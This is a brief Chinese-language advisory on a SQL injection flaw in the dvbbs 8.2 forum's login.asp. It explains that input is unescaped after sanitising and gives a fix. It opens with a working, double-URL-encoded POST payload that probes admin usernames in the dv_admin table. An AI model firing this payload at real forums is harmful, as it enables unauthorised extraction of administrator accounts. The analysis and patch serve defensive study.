dvbbs 8.2 SQL Injection注射漏洞分析

password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271
就可触发.

漏洞分析:动网在asp领域也算一个比较元老的程序,这次在8.2新版里有一个低级的错误.漏洞代码在login.asp 118行左右

......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = unescape(username)
......
取得的username是先经过检查然后再unescape解码,导致用urlencode模式就可以饶过任何检查,和php的urldecode导致的注射很类似,譬如用%2527就可以提交'过去了.

修补方案:修补也很简单,将上述代码改成

......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = trim(Dvbbs.CheckStr(unescape(username)))
......